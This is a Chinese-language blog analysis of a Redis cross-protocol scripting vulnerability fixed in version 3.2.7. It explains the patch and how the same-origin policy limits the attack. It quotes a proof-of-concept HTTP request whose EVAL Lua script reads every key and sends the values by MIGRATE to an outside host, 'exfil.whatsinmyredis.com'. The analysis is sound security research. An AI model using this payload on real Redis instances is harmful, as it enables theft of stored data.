摘要：不要忘記還有一個叫同源策略的東西。即使駭客可以去請求特定的服務器，受同源策略的影響，瀏覽器也不會返回響應的結果。無法評估攻擊的效果，通常會令漏洞的價值大打折扣。當然如果能結合同源策略繞過，確實可以拿到具體的響應。

幾天前，Redis 發布了 3.2.7 版本，修復了一個 Cross Protocol Scripting 漏洞。

關于該漏洞的詳細描述見：https://github.com/dxa4481/wh...

Redis 在解析命令的時候，會把每行文本當做輸入。如果輸入不能匹配上特定的命令，則丟棄輸入。

這意味著，如果我們用 HTTP 協議請求 Redis，那么 Redis 會跳過不認識的各種報頭，執行請求體中的命令。
舉個例子，下面的 HTTP 請求中，只有最后的 EVAL 會被解析成合法的命令并執行。

POST / HTTP/1.1
Host: 127.0.0.1:6379
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://whatsinmyredis.com/
Content-Length: 339
Origin: http://whatsinmyredis.com
Connection: keep-alive

EVAL "local token = "SiKKVzH$EZ"; local count = 0; for k, v in pairs(redis.call("KEYS", "*")) do count = count + 1; if v ~= "WIMREncryptionKey" and count < 100 then redis.call("SET", token, v .. ":" .. redis.call("GET", v)); redis.pcall("MIGRATE", "exfil.whatsinmyredis.com", "11111", token,0,200); end; end; redis.call("DEL", token)" 0

-ERR unknown command "POST"
...

初看好像不算什么問題，畢竟攻擊者都能直接請求 Redis 了，沒必要用 HTTP 協議掩飾攻擊行為。

不過漏洞的發掘者想得更加深入。在他的 POC 中，構造了一個 HTML 頁面，利用 AJAX 去請求 6379 端口。
一般來說，Redis 是不會暴露在公網里的，但是有可能跟開發者的機器在同一個內網中。假設開發者的瀏覽器發起了 AJAX 請求，便能繞過外網的限制，直接訪問內網的 Redis。即使 Redis 不在 localhost 上，通過掃描（或者社工出具體的服務器地址）也有可能嗅探到內網中的 Redis 實例。

Redis 的修復見：https://github.com/antirez/re...

該補丁把 host 也當做有效的命令去解析。在解析出 host 命令后，Redis 會中斷連接，于是攻擊者的請求就被截斷了。

該漏洞依賴兩點：

可以從瀏覽器發起特定的 HTTP 請求

可以從開發者的機器訪問到 Redis 服務器

以下討論均以開發者使用的瀏覽器較為安全為前提。

先分析 Redis 該補丁的工作原理：

作為 HTTP/1.1 規范，請求報頭中應該有 Host 報頭。如果沒有，服務器會返回 400 錯誤碼。
這意味著，瀏覽器自己發送的 AJAX 請求中必然會帶上 Host 報頭。

也許有人會想到，可以嘗試用 setRequestHeader 去自定義請求報頭。
瀏覽器也想到了這一點。如果用了 setRequestHeader，瀏覽器會先發送一個 OPTIONS 請求，附上 Access-Control-Request-Headers 報頭，待目標服務器明斷。
只有服務器許可之后，才會進一步發送定制的 AJAX 請求。
在我們這個場景里，茫然無知的 Redis 自然什么都不會回復。

總而言之，沒有什么辦法，可以發送不帶 Host 報頭的 AJAX 請求。意味著只要 Host 被拉黑，所有的 AJAX 請求也被拉黑了。

對于沒打該補丁的版本，該漏洞會有多大的影響？

漏洞依賴的第二點（可以從開發者的機器訪問到 Redis 服務器），一般情況下難以滿足。畢竟大多數時候，辦公區網絡和機房網絡不在同一個網段里，而且還是互相隔離的。如果不是定點攻擊，很難擊中目標服務器。

漏洞依賴的第一點（可以從瀏覽器發起特定的 HTTP 請求），在很大程度上受瀏覽器的限制。對于那些想利用 AJAX 的攻擊者，瀏覽器可是見得多了。不要忘記還有一個叫同源策略的東西。即使駭客可以去請求特定的 Redis 服務器，受同源策略的影響，瀏覽器也不會返回響應的結果。意味著，攻擊者可以向 Redis 發送命令，但是他們無法知道攻擊是否成功。無法評估攻擊的效果，通常會令漏洞的價值大打折扣。

當然如果能結合同源策略繞過，確實可以拿到具體的響應。但是這么一來利用空間就更窄了。

話雖如此，我也不敢百分百打包票，聲稱該漏洞毫無意義。有句老話：

Attacks always get better... and we did not spent enough time in order to think how to exploit this issue,
but security researchers or malicious attackers could.

處在明處的防御者，還是盡可能小心謹慎為佳。

目前瀏覽器發展有一個趨勢，就是能干的事情越來越多。再過不久，除了 HTTP 請求，瀏覽器還可以發起更底層的 TCP/UDP 請求。就安全方面來講，意味著基于瀏覽器的攻擊面會更加廣。希望制定標準和開發瀏覽器的人盡量審慎一些。